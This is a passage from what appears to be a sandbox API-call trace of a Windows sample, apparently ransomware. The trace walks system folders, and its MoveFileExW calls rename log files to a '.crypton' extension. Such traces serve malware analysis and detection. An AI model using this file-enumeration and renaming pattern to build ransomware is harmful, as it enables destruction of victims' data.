lpFileTime=0x4a9f48, lpSystemTime=0x4a9f1c | out: lpSystemTime=0x4a9f1c) returned 1 [0259.430] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f1c, lpLocalTime=0x4a9f2c | out: lpLocalTime=0x4a9f2c) returned 1 [0259.430] FileTimeToSystemTime (in: lpFileTime=0x4a9f38, lpSystemTime=0x4a9f0c | out: lpSystemTime=0x4a9f0c) returned 1 [0259.430] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f0c, lpLocalTime=0x4a9f1c | out: lpLocalTime=0x4a9f1c) returned 1 [0259.430] CloseHandle (hObject=0x1a4) returned 1 [0259.434] GetFileInformationByHandle (in: hFile=0x1a4, lpFileInformation=0x4a9f84 | out: lpFileInformation=0x4a9f84) returned 1 [0259.434] FileTimeToSystemTime (in: lpFileTime=0x4a9f58, lpSystemTime=0x4a9f2c | out: lpSystemTime=0x4a9f2c) returned 1 [0259.434] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f2c, lpLocalTime=0x4a9f3c | out: lpLocalTime=0x4a9f3c) returned 1 [0259.434] FileTimeToSystemTime (in: lpFileTime=0x4a9f48, lpSystemTime=0x4a9f1c | out: lpSystemTime=0x4a9f1c) returned 1 [0259.434] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f1c, lpLocalTime=0x4a9f2c | out: lpLocalTime=0x4a9f2c) returned 1 [0259.434] FileTimeToSystemTime (in: lpFileTime=0x4a9f38, lpSystemTime=0x4a9f0c | out: lpSystemTime=0x4a9f0c) returned 1 [0259.434] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f0c, lpLocalTime=0x4a9f1c | out: lpLocalTime=0x4a9f1c) returned 1 [0259.434] CloseHandle (hObject=0x1a4) returned 1 [0259.441] GetFileInformationByHandle (in: hFile=0x1a4, lpFileInformation=0x4a9f84 | out: lpFileInformation=0x4a9f84) returned 1 [0259.441] FileTimeToSystemTime (in: lpFileTime=0x4a9f58, lpSystemTime=0x4a9f2c | out: lpSystemTime=0x4a9f2c) returned 1 [0259.441] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f2c, lpLocalTime=0x4a9f3c | out: lpLocalTime=0x4a9f3c) returned 1 [0259.441] FileTimeToSystemTime (in: lpFileTime=0x4a9f48, lpSystemTime=0x4a9f1c | out: lpSystemTime=0x4a9f1c) returned 1 [0259.441] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f1c, lpLocalTime=0x4a9f2c | out: lpLocalTime=0x4a9f2c) returned 1 [0259.441] FileTimeToSystemTime (in: lpFileTime=0x4a9f38, lpSystemTime=0x4a9f0c | out: lpSystemTime=0x4a9f0c) returned 1 [0259.441] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f0c, lpLocalTime=0x4a9f1c | out: lpLocalTime=0x4a9f1c) returned 1 [0259.441] CloseHandle (hObject=0x1a4) returned 1 [0259.442] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0259.442] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0259.442] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0259.442] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0259.442] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0259.442] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0259.443] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0259.443] CloseHandle (hObject=0x190) returned 1 [0259.445] GetFileType (hFile=0x1ac) returned 0x1 [0259.449] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\$PatchCache$\\Managed\\1926E8D15D0BCE53481466615F760A7F\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd2429ac0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x18001f20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x18001f20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0259.455] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\$PatchCache$\\Managed\\1926E8D15D0BCE53481466615F760A7F\\10.0.40219\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd2429ac0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x18028080, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x18028080, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549850 [0259.457] GetFileType (hFile=0x1ac) returned 0x1 [0259.462] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\$PatchCache$\\Managed\\1D5E3C0FEDA1E123187686FED06E995A\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcc295340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x18028080, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x18028080, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0259.467] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\$PatchCache$\\Managed\\1D5E3C0FEDA1E123187686FED06E995A\\10.0.40219\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcc295340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x18028080, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x18028080, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549850 [0259.468] GetFileType (hFile=0x1ac) returned 0x1 [0259.475] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\$PatchCache$\\Managed\\c1c4f01781cc94c4c8fb1542c0981a2a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xec69b380, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x1804e1e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1804e1e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0259.475] GetFileType (hFile=0x190) returned 0x1 [0259.480] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\$PatchCache$\\Managed\\c1c4f01781cc94c4c8fb1542c0981a2a\\8.0.61001\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xec69b380, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x1804e1e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1804e1e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549850 [0259.481] GetFileType (hFile=0x1f0) returned 0x1 [0259.486] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\{90140000-0043-0000-1000-0000000FF1CE}\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2b4fd5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x18074340, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x18074340, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0259.487] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0259.487] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0259.487] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0259.487] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0259.487] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0259.487] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0259.487] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0259.487] CloseHandle (hObject=0x178) returned 1 [0259.489] GetFileType (hFile=0x1f0) returned 0x1 [0259.494] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\{90140000-006E-0409-1000-0000000FF1CE}\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2600b20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x18074340, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x18074340, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0259.506] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\{91140000-0011-0000-1000-0000000FF1CE}\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77dd6e10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1809a4a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1809a4a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0259.508] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0259.508] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0259.508] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0259.508] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0259.508] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0259.508] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0259.508] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0259.508] CloseHandle (hObject=0x178) returned 1 [0259.516] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\{91140000-003B-0000-1000-0000000FF1CE}\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc112db20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x1809a4a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1809a4a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0259.517] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0259.517] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0259.517] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0259.517] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0259.517] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0259.517] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0259.517] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0259.517] CloseHandle (hObject=0x178) returned 1 [0259.522] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\{91140000-0057-0000-1000-0000000FF1CE}\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86fefe60, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x180c0600, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x180c0600, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0259.523] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0259.523] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0259.523] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0259.523] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0259.523] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0259.523] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0259.523] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0259.523] CloseHandle (hObject=0x178) returned 1 [0259.528] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83b8f440, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x180c0600, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x180c0600, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0259.529] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0259.529] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0259.529] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0259.529] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0259.529] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0259.529] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0259.529] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0259.529] CloseHandle (hObject=0x178) returned 1 [0259.535] FindFirstFileA (in: lpFileName="C:\\\\Windows\\L2Schemas\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe60eb80, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x180e6760, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x180e6760, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549790 [0259.536] GetFileType (hFile=0x1f4) returned 0x1 [0259.540] FindFirstFileA (in: lpFileName="C:\\\\Windows\\LiveKernelReports\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe60eb80, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x180e6760, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x180e6760, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549790 [0259.547] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Logs\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe60eb80, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x180e6760, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x180e6760, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549790 [0259.548] GetFileType (hFile=0x1f0) returned 0x1 [0259.554] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Logs\\CBS\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe60eb80, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1810c8c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1810c8c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0260.734] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Logs\\CBS\\CBS.log" (normalized: "c:\\windows\\logs\\cbs\\cbs.log"), lpNewFileName="C:\\\\Windows\\Logs\\CBS\\CBS.log.crypton" (normalized: "c:\\windows\\logs\\cbs\\cbs.log.crypton"), dwFlags=0x2) returned 1 [0260.745] GetFileType (hFile=0x1f0) returned 0x1 [0260.751] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Logs\\DPX\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2ca89280, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x18c812a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x18c812a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0260.754] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Logs\\DPX\\setupact.log" (normalized: "c:\\windows\\logs\\dpx\\setupact.log"), lpNewFileName="C:\\\\Windows\\Logs\\DPX\\setupact.log.crypton" (normalized: "c:\\windows\\logs\\dpx\\setupact.log.crypton"), dwFlags=0x2) returned 1 [0260.756] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Logs\\DPX\\setuperr.log" (normalized: "c:\\windows\\logs\\dpx\\setuperr.log"), lpNewFileName="C:\\\\Windows\\Logs\\DPX\\setuperr.log.crypton" (normalized: "c:\\windows\\logs\\dpx\\setuperr.log.crypton"), dwFlags=0x2) returned 1 [0260.758] GetFileType (hFile=0x1f0) returned 0x1 [0260.765] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Logs\\HomeGroup\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x18c812a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x18c812a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0260.766] GetFileType (hFile=0x1f0) returned 0x1 [0260.770] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Logs\\SystemRestore\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6938ae40, ftCreationTime.dwHighDateTime=0x1d2fafa, ftLastAccessTime.dwLowDateTime=0x18ca7400, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x18ca7400, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0260.774] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Media\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe60eb80, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x18ca7400, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x18ca7400, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549790 [0260.779] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Media\\Afternoon\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe634cda, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x18ca7400, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x18ca7400, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0260.780] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.780] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.781] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.782] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.782] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.783] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.783] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.783] CloseHandle (hObject=0x178) returned 1 [0260.785] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.785] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.785] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.786] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.786] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.787] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0260.787] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0260.788] CloseHandle (hObject=0x178) returned 1 [0260.789] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0260.789] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0260.789] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0260.790] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0260.790] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0260.790] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: 